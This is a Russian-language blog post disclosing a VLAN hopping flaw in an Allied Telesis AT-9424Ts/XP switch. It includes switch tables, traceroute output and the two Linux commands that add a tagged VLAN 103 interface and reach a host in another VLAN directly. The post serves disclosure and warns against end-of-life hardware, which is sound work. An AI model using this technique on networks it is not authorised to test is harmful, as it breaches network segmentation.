Блог‎ > ‎

Примитивный VLAN hopping в Allied Telesis 9424Ts/XP

В статье "Некоторые особенности коммутаторов Allied Telesis" я описывал всякого рода странности и неприятные баги в работе коммутаторов AT-9424Ts/XP и AT-GS950/16. Но я и не подозревал, что всё настолько плохо.

Берём сервер, подключенный к коммутатору:
[root@vega ~]# ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:11:0A:5A:27:E4 
          inet addr:192.168.1.9  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::211:aff:fe5a:27e4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:57025505 errors:0 dropped:0 overruns:0 frame:0
          TX packets:51137200 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3662328796 (3.4 GiB)  TX bytes:1962996776 (1.8 GiB)

eth1      Link encap:Ethernet  HWaddr 00:11:0A:5A:27:E5 
          inet addr:172.16.1.7  Bcast:172.16.1.15  Mask:255.255.255.240
          inet6 addr: fe80::211:aff:fe5a:27e5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9198  Metric:1
          RX packets:9688696 errors:2 dropped:0 overruns:0 frame:2
          TX packets:9858568 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:705904875 (673.2 MiB)  TX bytes:3201682856 (2.9 GiB)

eth2      Link encap:Ethernet  HWaddr 00:D0:B7:A8:2B:65 
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:10180 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11836 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2125206 (2.0 MiB)  TX bytes:1961109 (1.8 MiB)

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1778733 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1778733 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:116896522 (111.4 MiB)  TX bytes:116896522 (111.4 MiB)


Смотрим, на каком порту он висит:
spider-sw# sh swi fdb addr=00:11:0A:5A:27:E4
                                   
Switch Forwarding Database
Total Number of FDB addresses[25],
-----------------------------------------------------------------------------
VLAN ID  ADDRESS            PORT  STATUS
-----------------------------------------------------------------------------
1       00:11:0A:5A:27:E4  18   Dynamic
1 entry is  shown


Смотрим на вланы (все показывать не буду, просто поверьте, что порт 18 больше нигде не фигурирует):
 VLAN Name ............................ Default_VLAN
 VLAN ID .............................. 1
 VLAN Type ............................ Port Based
 Protected Ports ...................... No
 Untagged Port(s)
   Configured ......................... 1,3-6,8,12,14-15,17-18,23
   Actual ............................. 1,3-6,8,12,14-15,17-18,23
 Tagged Port(s) ....................... None


Проверяем, что трафик до 192.168.103.5 (некая жертва в соседнем влане) пойдёт через этот коммутатор:
[root@vega ~]# traceroute -I -q1 192.168.103.5
traceroute to 192.168.103.5 (192.168.103.5), 30 hops max, 60 byte packets
 1  * //это spider, см. прерыдущую статью
 2  ap-806.comp.susu.ac.ru (192.168.103.5)  0.640 ms

А теперь следите за руками:
[root@vega ~]# ip link add link eth0 type vlan id 103
[root@vega ~]# ifconfig vlan0 192.168.103.9 netmask 255.255.255.0
[root@vega ~]# traceroute -I -q1 192.168.103.5
traceroute to 192.168.103.5 (192.168.103.5), 30 hops max, 60 byte packets
 1  ap-806.comp.susu.ac.ru (192.168.103.5)  1.716 ms


Опаньки, мы в 103 влане. Напрямую. Покажу ещё 103 влан, чтобы уж сомнения снять:
spider-sw# sh swi fdb addr=00:11:0A:5A:27:E4
                                   
Switch Forwarding Database
Total Number of FDB addresses[25],
-----------------------------------------------------------------------------
VLAN ID  ADDRESS            PORT  STATUS
-----------------------------------------------------------------------------
1       00:11:0A:5A:27:E4  18   Dynamic
103     00:11:0A:5A:27:E4  18   Dynamic
2 entries are  shown
spider-sw# sh vlan=103                     

VLAN Information:

 VLAN Name ............................ Teachers
 VLAN ID .............................. 103
 VLAN Type ............................ Port Based
 Protected Ports ...................... No
 Untagged Port(s)
   Configured ......................... 9-11
   Actual ............................. 9-11
 Tagged Port(s) ....................... 8,12,15


Как видно, порт 18 в vlan 103 не состоит, а запись есть.

Это означает одно из двух - либо по умолчанию порт принимает любые тэгированные кадры и форвардит их, а я это в мануале просмотрел, либо разработчики прошивки проморгали такую примитивную дыру. Оба предположения в равной степени пугают, ибо неразумный дефолт порой страшнее неосознанной ошибки.

Капитанские выводы:
  • Сетевое оборудование не безгрешно - в нём тоже могут быть баги
  • EOL-оборудование опасно тем, что баги никто чинить уже не будет
  • Старайтесь EOL-оборудование в продакшене не использовать
Comments